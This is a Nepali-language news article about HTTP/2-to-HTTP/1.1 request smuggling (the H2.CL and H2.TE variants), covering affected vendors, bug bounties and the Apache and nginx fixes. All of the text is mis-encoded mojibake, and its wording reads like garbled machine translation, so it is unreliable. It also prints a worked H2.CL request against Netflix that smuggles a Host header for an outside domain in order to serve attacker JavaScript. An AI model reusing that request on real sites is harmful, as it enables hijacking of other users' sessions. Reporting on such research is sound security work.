рдлреНрд░рдиреНрдЯ-рдПрдиреНрдб-рдмреНрдпрд╛рдХрдПрдиреНрдб рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВрдорд╛ рдирдпрд╛рдБ рдЖрдХреНрд░рдордг рдЬрд╕рд▓реЗ рддрдкрд╛рдИрдВрд▓рд╛рдИ рдЕрдиреБрд░реЛрдзрд╣рд░реВрдорд╛ рдЬреЛрдбреНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫ

рд╡реЗрдм рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВ рдЬрд╕рдорд╛ рдлреНрд░рдиреНрдЯ рдПрдиреНрдбрд▓реЗ HTTP/2 рдорд╛рд░реНрдлрдд рдЬрдбрд╛рдирд╣рд░реВ рд╕реНрд╡реАрдХрд╛рд░ рдЧрд░реНрджрдЫ рд░ рддрд┐рдиреАрд╣рд░реВрд▓рд╛рдИ HTTP/1.1 рдорд╛рд░реНрдлрдд рдмреНрдпрд╛рдХрдЗрдиреНрдбрдорд╛ рдкрдард╛рдЙрдБрджрдЫ, "HTTP рдЕрдиреБрд░реЛрдз рддрд╕реНрдХрд░реА" рдЖрдХреНрд░рдордгрдХреЛ рдирдпрд╛рдБ рд╕рдВрд╕реНрдХрд░рдгрдорд╛ рдкрд░реНрджрд╛рдлрд╛рд╕ рдЧрд░рд┐рдПрдХреЛ рдЫ, рдЬрд╕рд▓реЗ рд╡рд┐рд╢реЗрд╖ рд░реВрдкрдорд╛ рдбрд┐рдЬрд╛рдЗрди рдЧрд░рд┐рдПрдХреЛ рдЧреНрд░рд╛рд╣рдХ рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдкрдард╛рдПрд░ рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫред рдлреНрд░рдиреНрдЯрдПрдиреНрдб рд░ рдмреНрдпрд╛рдХрдЗрдиреНрдб рдмреАрдЪрдХреЛ рд╕рдорд╛рди рдкреНрд░рд╡рд╛рд╣рдорд╛ рдкреНрд░рд╢реЛрдзрди рдЧрд░рд┐рдПрдХрд╛ рдЕрдиреНрдп рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВрдХрд╛ рдЕрдиреБрд░реЛрдзрд╣рд░реВрдХреЛ рд╕рд╛рдордЧреНрд░реАрд╣рд░реВрдорд╛ рд╡реЗрдЬ рдЧрд░реНрдиреБрд╣реЛрд╕реНред рдЖрдХреНрд░рдордгрд▓рд╛рдИ рд╡реИрдз рд╡реЗрдмрд╕рд╛рдЗрдЯрдХреЛ рд╕рд╛рде рд╕рддреНрд░рдорд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг JavaScript рдХреЛрдб рдШреБрд╕рд╛рдЙрди, рдкрд╣реБрдБрдЪ рдкреНрд░рддрд┐рдмрдиреНрдз рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВ рдмрд╛рдЗрдкрд╛рд╕ рдЧрд░реНрди рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд╣рд░реВ рдЕрд╡рд░реЛрдз рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред

рд╕рдорд╕реНрдпрд╛рд▓реЗ рд╡реЗрдм рдкреНрд░реЛрдХреНрд╕реАрд╣рд░реВ, рд▓реЛрдб рдмреНрдпрд╛рд▓реЗрдиреНрд╕рд░рд╣рд░реВ, рд╡реЗрдм рдПрдХреНрд╕реЗрд▓реЗрдЯрд░рд╣рд░реВ, рд╕рд╛рдордЧреНрд░реА рд╡рд┐рддрд░рдг рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВ рд░ рдЕрдиреНрдп рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рдирд╣рд░реВрд▓рд╛рдИ рдЕрд╕рд░ рдЧрд░реНрдЫ рдЬрд╕рдорд╛ рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдлреНрд░рдиреНрдЯ-рдПрдиреНрдб-рдЯреБ-рдмреНрдпрд╛рдХрдЗрдиреНрдб рд░реВрдкрдорд╛ рд░рд┐рдбрд┐рд░реЗрдХреНрдЯ рд╣реБрдиреНрдЫрдиреНред рдЕрдзреНрдпрдпрдирдХрд╛ рд▓реЗрдЦрдХрд▓реЗ Netflix, Verizon, Bitbucket, Netlify CDN рд░ Atlassian рдХреЛ рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВрдорд╛ рдЖрдХреНрд░рдордг рдЧрд░реНрдиреЗ рд╕рдореНрднрд╛рд╡рдирд╛ рджреЗрдЦрд╛рдЙрдиреБрднрдпреЛ, рд░ рдХрдордЬреЛрд░реАрд╣рд░реВ рдкрд╣рд┐рдЪрд╛рди рдЧрд░реНрдирдХрд╛ рд▓рд╛рдЧрд┐ рдкреБрд░рд╕реНрдХрд╛рд░ рдХрд╛рд░реНрдпрдХреНрд░рдорд╣рд░реВрдорд╛ 56 рд╣рдЬрд╛рд░ рдбрд▓рд░ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдиреБрднрдпреЛред рд╕рдорд╕реНрдпрд╛ F5 рдиреЗрдЯрд╡рд░реНрдХ рдЙрддреНрдкрд╛рджрдирд╣рд░реВрдорд╛ рдкрдирд┐ рдкреБрд╖реНрдЯрд┐ рднрдПрдХреЛ рдЫред рд╕рдорд╕реНрдпрд╛рд▓реЗ рдЖрдВрд╢рд┐рдХ рд░реВрдкрдорд╛ Apache http рд╕рд░реНрднрд░ (CVE-2021-33193) рдорд╛ mod_proxy рд▓рд╛рдИ рдЕрд╕рд░ рдЧрд░реНрдЫ, рд╕рдВрд╕реНрдХрд░рдг 2.4.49 рдорд╛ рд╕рдорд╛рдзрд╛рди рдЕрдкреЗрдХреНрд╖рд┐рдд рдЫ (рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛рд╣рд░реВрд▓рд╛рдИ рдореЗрдХреЛ рд╢реБрд░реБрдорд╛ рд╕рдорд╕реНрдпрд╛рдХреЛ рдмрд╛рд░реЗрдорд╛ рд╕реВрдЪрд┐рдд рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ рд░ рдпрд╕рд▓рд╛рдИ рд╕рдорд╛рдзрд╛рди рдЧрд░реНрди 3 рдорд╣рд┐рдирд╛ рджрд┐рдЗрдПрдХреЛ рдерд┐рдпреЛ)ред nginx рдорд╛, "рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ" рд░ "рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ" рд╣реЗрдбрд░рд╣рд░реВ рдПрдХреИ рд╕рд╛рде рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░реНрдиреЗ рдХреНрд╖рдорддрд╛ рдкрдЫрд┐рд▓реНрд▓реЛ рд░рд┐рд▓реАрдЬ (1.21.1) рдорд╛ рд░реЛрдХрд┐рдПрдХреЛ рдерд┐рдпреЛред рдЖрдХреНрд░рдордг рдЙрдкрдХрд░рдгрд╣рд░реВ рдкрд╣рд┐рд▓реЗ рдиреИ Burp рдЯреВрд▓рдХрд┐рдЯрдорд╛ рд╕рдорд╛рд╡реЗрд╢ рдЧрд░рд┐рдПрдХрд╛ рдЫрдиреН рд░ рдЯрд░реНрдмреЛ рдЗрдиреНрдЯреНрд░реБрдбрд░ рд╡рд┐рд╕реНрддрд╛рд░рдХреЛ рд░реВрдкрдорд╛ рдЙрдкрд▓рдмреНрдз рдЫрдиреНред

рдЯреНрд░рд╛рдлрд┐рдХрдорд╛ рд╡реЗрдЬрд┐рдВрдЧ рдЕрдиреБрд░реЛрдзрд╣рд░реВрдХреЛ рдирдпрд╛рдБ рд╡рд┐рдзрд┐рдХреЛ рд╕рдЮреНрдЪрд╛рд▓рдирдХреЛ рд╕рд┐рджреНрдзрд╛рдиреНрдд рджреБрдИ рд╡рд░реНрд╖ рдЕрдШрд┐ рдЙрд╣реА рдЕрдиреБрд╕рдиреНрдзрд╛рдирдХрд░реНрддрд╛рд▓реЗ рдкрд╣рд┐рдЪрд╛рди рдЧрд░реЗрдХреЛ рдЬреЛрдЦрд┐рдорд╕рдБрдЧ рдорд┐рд▓реНрджреЛрдЬреБрд▓реНрджреЛ рдЫ, рддрд░ HTTP/1.1 рдорд╛ рдЕрдиреБрд░реЛрдзрд╣рд░реВ рд╕реНрд╡реАрдХрд╛рд░ рдЧрд░реНрдиреЗ рдлреНрд░рдиреНрдЯрдПрдиреНрдбрд╣рд░реВрдорд╛ рд╕реАрдорд┐рдд рдЫред рд╣рд╛рдореАрд▓рд╛рдИ рд╕рдореНрдЭрдиреБрд╣реЛрд╕реН рдХрд┐ рдлреНрд░рдиреНрдЯрдПрдиреНрдб-рдмреНрдпрд╛рдХрдПрдиреНрдб рдпреЛрдЬрдирд╛рдорд╛, рдЧреНрд░рд╛рд╣рдХ рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдЕрддрд┐рд░рд┐рдХреНрдд рдиреЛрдб - рдлреНрд░рдиреНрдЯрдПрдиреНрдб, рдЬрд╕рд▓реЗ рдмреНрдпрд╛рдХрдЗрдиреНрдбрд╕рдБрдЧ рд▓рд╛рдореЛ рд╕рдордпрд╕рдореНрдо рдЪрд▓реНрдиреЗ TCP рдЬрдбрд╛рди рд╕реНрдерд╛рдкрдирд╛ рдЧрд░реНрджрдЫ, рдЬрд╕рд▓реЗ рдЕрдиреБрд░реЛрдзрд╣рд░реВрд▓рд╛рдИ рдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдкрдорд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЧрд░реНрджрдЫред рдпрд╕ рд╕рд╛рдЭрд╛ рдЬрдбрд╛рди рдорд╛рд░реНрдлрдд, рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВрдмрд╛рдЯ рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдкреНрд░рд╛рдп: рдкреНрд░рд╕рд╛рд░рдг рдЧрд░рд┐рдиреНрдЫ, рдЬрд╕рд▓реЗ HTTP рдкреНрд░реЛрдЯреЛрдХрд▓рдХреЛ рдорд╛рдзреНрдпрдордмрд╛рдЯ рдЕрд▓рдЧ рдЧрд░рд┐рдПрдХреЛ рдЪреЗрдирд▓рд╛рдИ рдПрдХ рдкрдЫрд┐ рдЕрд░реНрдХреЛ рдЧрд░реНрджрдЫред

рдХреНрд▓рд╛рд╕рд┐рдХ "HTTP рдЕрдиреБрд░реЛрдз рддрд╕реНрдХрд░реА" рдЖрдХреНрд░рдордг рдпрд╕ рддрдереНрдпрдорд╛ рдЖрдзрд╛рд░рд┐рдд рдерд┐рдпреЛ рдХрд┐ рдлреНрд░рдиреНрдЯрдПрдиреНрдб рд░ рдмреНрдпрд╛рдХрдПрдиреНрдбрд╣рд░реВрд▓реЗ HTTP рд╣реЗрдбрд░ "рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ" (рдЕрдиреБрд░реЛрдзрдорд╛ рдбреЗрдЯрд╛рдХреЛ рдХреБрд▓ рдЖрдХрд╛рд░ рдирд┐рд░реНрдзрд╛рд░рдг рдЧрд░реНрджрдЫ) рд░ "рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ: chunked" (рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫред рдбрд╛рдЯрд╛ рднрд╛рдЧрд╣рд░реВрдорд╛ рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг рдЧрд░реНрди) рдлрд░рдХ рд░реВрдкрдорд╛ред рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдпрджрд┐ рдлреНрд░рдиреНрдЯрдПрдиреНрдбрд▓реЗ "рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ" рд▓рд╛рдИ рдорд╛рддреНрд░ рд╕рдорд░реНрдерди рдЧрд░реНрдЫ рддрд░ "рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ: chunked" рд▓рд╛рдИ рдмреЗрд╡рд╛рд╕реНрддрд╛ рдЧрд░реНрдЫ рднрдиреЗ, рддреНрдпрд╕рдкрдЫрд┐ рдЖрдХреНрд░рдордгрдХрд░реНрддрд╛рд▓реЗ рдЕрдиреБрд░реЛрдз рдкрдард╛рдЙрди рд╕рдХреНрдЫ рдЬрд╕рдорд╛ "рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ" рд░ "рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ: chunked" рд╣реЗрдбрд░рд╣рд░реВ рд╕рдорд╛рд╡реЗрд╢ рдЫрдиреН, рддрд░ рд╕рд╛рдЗрдЬ "рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ" рд╣реЛ рдЬреБрди рдЯреБрдХреНрд░рд╛ рдЧрд░рд┐рдПрдХреЛ рдЪреЗрдирдХреЛ рдЖрдХрд╛рд░рд╕рдБрдЧ рдореЗрд▓ рдЦрд╛рдБрджреИрдиред рдпрд╕ рдЕрд╡рд╕реНрдерд╛рдорд╛, рдлреНрд░рдиреНрдЯрдПрдиреНрдбрд▓реЗ "рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ" рдЕрдиреБрд╕рд╛рд░ рдЕрдиреБрд░реЛрдзрд▓рд╛рдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд░ рд░рд┐рдбрд┐рд░реЗрдХреНрдЯ рдЧрд░реНрдиреЗрдЫ, рд░ рдмреНрдпрд╛рдХрдПрдиреНрдбрд▓реЗ "рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ: chunked" рдорд╛ рдЖрдзрд╛рд░рд┐рдд рдмреНрд▓рдХ рдкреВрд░рд╛ рд╣реБрдирдХреЛ рд▓рд╛рдЧрд┐ рдкрд░реНрдЦрдиреЗрдЫ рд░ рдЖрдХреНрд░рдордгрдХрд░реНрддрд╛рдХреЛ рдЕрдиреБрд░реЛрдзрдХреЛ рдмрд╛рдБрдХреА рдкреБрдЪреНрдЫрд░ рд╣реБрдиреЗрдЫред рдЕрд░реВ рдХрд╕реИрдХреЛ рдЕрдиреБрд░реЛрдзрдХреЛ рд╕реБрд░реБрдорд╛ рдЕрд░реНрдХреЛ рдкреНрд░рд╕рд╛рд░рдг рд╣реБрдиреБрд╣реЛрд╕реНред

рдкрд╛рда рдкреНрд░реЛрдЯреЛрдХрд▓ HTTP/1.1 рдХреЛ рд╡рд┐рдкрд░реАрдд, рдЬреБрди рд░реЗрдЦрд╛ рд╕реНрддрд░рдорд╛ рдкрд╛рд░реНрд╕ рдЧрд░рд┐рдПрдХреЛ рдЫ, HTTP/2 рдмрд╛рдЗрдирд░реА рдкреНрд░реЛрдЯреЛрдХрд▓ рд╣реЛ рд░ рдкреВрд░реНрд╡-рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЖрдХрд╛рд░рдХреЛ рдбреЗрдЯрд╛ рдмреНрд▓рдХрд╣рд░реВ рд╣реЗрд░рдлреЗрд░ рдЧрд░реНрджрдЫред рдпрджреНрдпрдкрд┐, HTTP/2 рд▓реЗ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░рд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрджрдЫ рдЬреБрди рдирд┐рдпрдорд┐рдд HTTP рд╣реЗрдбрд░рд╣рд░реВрд╕рдБрдЧ рдореЗрд▓ рдЦрд╛рдиреНрдЫред HTTP/1.1 рдкреНрд░реЛрдЯреЛрдХрд▓ рдорд╛рд░реНрдлрдд рдмреНрдпрд╛рдХрдЗрдиреНрдбрд╕рдБрдЧ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛рдХреЛ рдЕрд╡рд╕реНрдерд╛рдорд╛, рдлреНрд░рдиреНрдЯрдПрдиреНрдбрд▓реЗ рдпреА рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░рд╣рд░реВрд▓рд╛рдИ рд╕рдорд╛рди HTTP рд╣реЗрдбрд░рд╣рд░реВ HTTP/1.1 рдорд╛ рдЕрдиреБрд╡рд╛рдж рдЧрд░реНрджрдЫред рд╕рдорд╕реНрдпрд╛ рдпреЛ рд╣реЛ рдХрд┐ рдмреНрдпрд╛рдХрдЗрдиреНрдбрд▓реЗ рдореВрд▓ рдЕрдиреБрд░реЛрдзрдХреЛ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд╣рд░реВрдХреЛ рдмрд╛рд░реЗрдорд╛ рдЬрд╛рдирдХрд╛рд░реА рдмрд┐рдирд╛ рдлреНрд░рдиреНрдЯрдПрдиреНрдбрджреНрд╡рд╛рд░рд╛ рд╕реЗрдЯ рдЧрд░рд┐рдПрдХреЛ HTTP рд╣реЗрдбрд░рд╣рд░реВрдорд╛ рдЖрдзрд╛рд░рд┐рдд рд╕реНрдЯреНрд░рд┐рдо рдкрд╛рд░реНрд╕ рдЧрд░реНрдиреЗ рдирд┐рд░реНрдгрдп рдЧрд░реНрджрдЫред

рд╡рд┐рд╢реЗрд╖ рдЧрд░реА, рдорд╛рдирд╣рд░реВ "рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ" рд░ "рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ" рдЫрджреНрдо-рд╣реЗрдбрд░рдХреЛ рд░реВрдкрдорд╛ рдкреНрд░рд╕рд╛рд░рд┐рдд рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫ, рдпрджреНрдпрдкрд┐ рддрд┐рдиреАрд╣рд░реВ HTTP/2 рдорд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдПрдХрд╛ рдЫреИрдирдиреН, рдХрд┐рдирдХрд┐ рд╕рдмреИ рдбреЗрдЯрд╛рдХреЛ рдЖрдХрд╛рд░ рдирд┐рд░реНрдзрд╛рд░рдг рдЧрд░рд┐рдиреНрдЫред рдЫреБрдЯреНрдЯреИ рдХреНрд╖реЗрддреНрд░рдорд╛ред рдпрджреНрдпрдкрд┐, HTTP/2 рдЕрдиреБрд░реЛрдзрд▓рд╛рдИ HTTP/1.1 рдорд╛ рд░реВрдкрд╛рдиреНрддрд░рдг рдЧрд░реНрдиреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдХреЛ рдХреНрд░рдордорд╛, рдпреА рд╣реЗрдбрд░рд╣рд░реВ рд░рд╛рдЦрд┐рдиреНрдЫрдиреН рд░ рдмреНрдпрд╛рдХрдЗрдиреНрдбрд▓рд╛рдИ рднреНрд░рдорд┐рдд рдЧрд░реНрди рд╕рдХреНрдЫрдиреНред рддреНрдпрд╣рд╛рдБ рджреБрдИ рдореБрдЦреНрдп рдЖрдХреНрд░рдордг рднреЗрд░рд┐рдпрдиреНрдЯрд╣рд░реВ рдЫрдиреН: H2.TE рд░ H2.CL, рдЬрд╕рдорд╛ рдмреНрдпрд╛рдХрдЗрдиреНрдбрд▓рд╛рдИ рдЧрд▓рдд рдЯреНрд░рд╛рдиреНрд╕рдлрд░-рдЗрдиреНрдХреЛрдбрд┐рдЩ рд╡рд╛ рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗрдХреЛ рдорд╛рдирд▓реЗ рдмрд╣рдХрд╛рдЗрдПрдХреЛ рдЫ рдЬреБрди рдлреНрд░рдиреНрдЯрдПрдиреНрдб рдорд╛рд░реНрдлрдд рдкреНрд░рд╛рдкреНрдд рдЧрд░рд┐рдПрдХреЛ рдЕрдиреБрд░реЛрдз рд╢рд░реАрд░рдХреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЖрдХрд╛рд░рд╕рдБрдЧ рдореЗрд▓ рдЦрд╛рдБрджреИрдиред HTTP/2 рдкреНрд░реЛрдЯреЛрдХрд▓ред

рдлреНрд░рдиреНрдЯ-рдПрдиреНрдб-рдмреНрдпрд╛рдХрдПрдиреНрдб рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВрдорд╛ рдирдпрд╛рдБ рдЖрдХреНрд░рдордг рдЬрд╕рд▓реЗ рддрдкрд╛рдИрдВрд▓рд╛рдИ рдЕрдиреБрд░реЛрдзрд╣рд░реВрдорд╛ рдЬреЛрдбреНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫ

H2.CL рдЖрдХреНрд░рдордгрдХреЛ рдЙрджрд╛рд╣рд░рдг Netflix рдорд╛ HTTP/2 рдЕрдиреБрд░реЛрдз рдкрдард╛рдЙрдБрджрд╛ рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░рдорд╛ рдЧрд▓рдд рд╕рд╛рдЗрдЬ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░реНрдиреБ рд╣реЛред рдпреЛ рдЕрдиреБрд░реЛрдзрд▓реЗ HTTP/1.1 рдорд╛рд░реНрдлрдд рдмреНрдпрд╛рдХрдЗрдиреНрдбрдорд╛ рдкрд╣реБрдБрдЪ рдЧрд░реНрджрд╛ рд╕рдорд╛рди HTTP рд╣реЗрдбрд░ рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ рдердкреНрди рдЬрд╛рдиреНрдЫ, рддрд░ рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗрдорд╛ рдЖрдХрд╛рд░ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдПрдХ рднрдиреНрджрд╛ рдХрдо рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░рд┐рдПрдХреЛ рд╣реБрдирд╛рд▓реЗ, рдкреБрдЪреНрдЫрд░рдорд╛ рд░рд╣реЗрдХреЛ рдбреЗрдЯрд╛рдХреЛ рдЕрдВрд╢рдХреЛ рд░реВрдкрдорд╛ рдкреНрд░рд╢реЛрдзрди рдЧрд░рд┐рдиреНрдЫред рдЕрд░реНрдХреЛ рдЕрдиреБрд░реЛрдзрдХреЛ рд╕реБрд░реБрд╡рд╛рддред

рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar рдЕрдиреБрд░реЛрдз рдЧрд░реНрдиреБрд╣реЛрд╕реНред

рдмреНрдпрд╛рдХрдЗрдиреНрдбрдорд╛ рдЕрдиреБрд░реЛрдз рдкрдард╛рдЗрдиреЗ рдкрд░рд┐рдгрд╛рдо: POST /n HTTP/1.1 рд╣реЛрд╕реНрдЯ: www.netflix.com рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗ: 4 abcdGET /n HTTP/1.1 рд╣реЛрд╕реНрдЯ: 02.rs?x.netflix.com Foo: bar

рд╕рд╛рдордЧреНрд░реА-рд▓рдореНрдмрд╛рдЗрдХреЛ рдорд╛рди 4 рднрдПрдХреЛ рд╣реБрдирд╛рд▓реЗ, рдмреНрдпрд╛рдХрдЗрдиреНрдбрд▓реЗ рдЕрдиреБрд░реЛрдзрдХреЛ рдореБрдЦреНрдп рднрд╛рдЧрдХреЛ рд░реВрдкрдорд╛ "abcd" рдорд╛рддреНрд░ рд╕реНрд╡реАрдХрд╛рд░ рдЧрд░реНрдиреЗрдЫ, рд░ рдмрд╛рдБрдХреА "GET /n HTTP/1.1..." рдкрдЫрд┐рдХреЛ рдЕрдиреБрд░реЛрдзрдХреЛ рд╕реБрд░реБрд╡рд╛рддрдХреЛ рд░реВрдкрдорд╛ рдкреНрд░рд╢реЛрдзрди рдЧрд░рд┐рдиреЗрдЫред рдЕрд░реНрдХреЛ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рддред рддрджрдиреБрд╕рд╛рд░, рд╕реНрдЯреНрд░рд┐рдо рдбрд┐рд╕рд┐рдВрдХреНрд░реЛрдирд╛рдЗрдЬ рд╣реБрдиреЗрдЫ рд░ рдЕрд░реНрдХреЛ рдЕрдиреБрд░реЛрдзрдХреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдорд╛, рдбрдореА рдЕрдиреБрд░реЛрдз рдкреНрд░рд╢реЛрдзрдирдХреЛ рдкрд░рд┐рдгрд╛рдо рдЬрд╛рд░реА рдЧрд░рд┐рдиреЗрдЫред рдиреЗрдЯрдлреНрд▓рд┐рдХреНрд╕рдХреЛ рдорд╛рдорд▓рд╛рдорд╛, рдбрдореА рдЕрдиреБрд░реЛрдзрдорд╛ "рд╣реЛрд╕реНрдЯ:" рд╣реЗрдбрд░рдорд╛ рддреЗрд╕реНрд░реЛ-рдкрдХреНрд╖ рд╣реЛрд╕реНрдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░реНрджрд╛ рдЧреНрд░рд╛рд╣рдХрд▓реЗ "рд╕реНрдерд╛рди: https://02.rs?x.netflix.com/n" рд░ рдиреЗрдЯрдлреНрд▓рд┐рдХреНрд╕ рд╕рд╛рдЗрдЯрдХреЛ рд╕рдиреНрджрд░реНрднрдорд╛ рддрдкрд╛рдИрдВрдХреЛ JavaScript рдХреЛрдб рдЪрд▓рд╛рдЙрдиреБрд╣реЛрд╕реН рд╕рд╣рд┐рдд рдЧреНрд░рд╛рд╣рдХрд▓рд╛рдИ рд╕реНрд╡реЗрдЪреНрдЫрд╛рдЪрд╛рд░реА рд╕рд╛рдордЧреНрд░реА рдкрдард╛рдЙрди рдЕрдиреБрдорддрд┐ рджрд┐рдпреЛред

рджреЛрд╕реНрд░реЛ рдЖрдХреНрд░рдордг рд╡рд┐рдХрд▓реНрдк (H2.TE) рдорд╛ "рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ: chunked" рд╣реЗрдбрд░ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рд╕рдорд╛рд╡реЗрд╢ рдЫред HTTP/2 рдорд╛ рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░рдХреЛ рдкреНрд░рдпреЛрдЧ рд╕реНрдкреЗрд╕рд┐рдлрд┐рдХреЗрд╢рдирджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реЗрдз рдЧрд░рд┐рдПрдХреЛ рдЫ рд░ рдпрд╕рдХрд╛ рд╕рд╛рде рдЕрдиреБрд░реЛрдзрд╣рд░реВрд▓рд╛рдИ рдЧрд▓рдд рд░реВрдкрдорд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рдЧрд░реНрди рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдЧрд░рд┐рдПрдХреЛ рдЫред рдпрд╕рдХрд╛ рдмрд╛рд╡рдЬреБрдж, рдХреЗрд╣реА рдлреНрд░рдиреНрдЯрдПрдиреНрдб рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдирд╣рд░реВрд▓реЗ рдпреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛рд▓рд╛рдИ рдзреНрдпрд╛рдирдорд╛ рд░рд╛рдЦреНрджреИрдирдиреН рд░ HTTP/2 рдорд╛ рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ рд╕реНрдпреВрдбреЛ-рд╣реЗрдбрд░рдХреЛ рдкреНрд░рдпреЛрдЧрд▓рд╛рдИ рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫ, рдЬреБрди рд╕рдорд╛рди HTTP рд╣реЗрдбрд░рдорд╛ рд░реВрдкрд╛рдиреНрддрд░рдг рд╣реБрдиреНрдЫред рдпрджрд┐ рддреНрдпрд╣рд╛рдБ "рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдг-рдЗрдиреНрдХреЛрдбрд┐рдЩ" рд╣реЗрдбрд░ рдЫ рднрдиреЗ, рдмреНрдпрд╛рдХрдЗрдиреНрдбрд▓реЗ рдпрд╕рд▓рд╛рдИ рдЙрдЪреНрдЪ рдкреНрд░рд╛рдердорд┐рдХрддрд╛рдХреЛ рд░реВрдкрдорд╛ рд▓рд┐рди рд╕рдХреНрдЫ рд░ "{size}\r\n{block" рдврд╛рдБрдЪрд╛рдорд╛ рд╡рд┐рднрд┐рдиреНрди рдЖрдХрд╛рд░рдХрд╛ рдмреНрд▓рдХрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ "chunked" рдореЛрдбрдорд╛ рдЯреБрдХреНрд░рд╛ рдЯреБрдХреНрд░рд╛ рдбреЗрдЯрд╛ рдЯреБрдХреНрд░рд╛ рдкрд╛рд░реНрд╕ рдЧрд░реНрди рд╕рдХреНрдЫред }\r\n{size} \r\n{block}\r\n0", рд╕рдордЧреНрд░ рдЖрдХрд╛рд░рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╛рд░рдореНрднрд┐рдХ рд╡рд┐рднрд╛рдЬрди рднрдП рдкрдирд┐ред

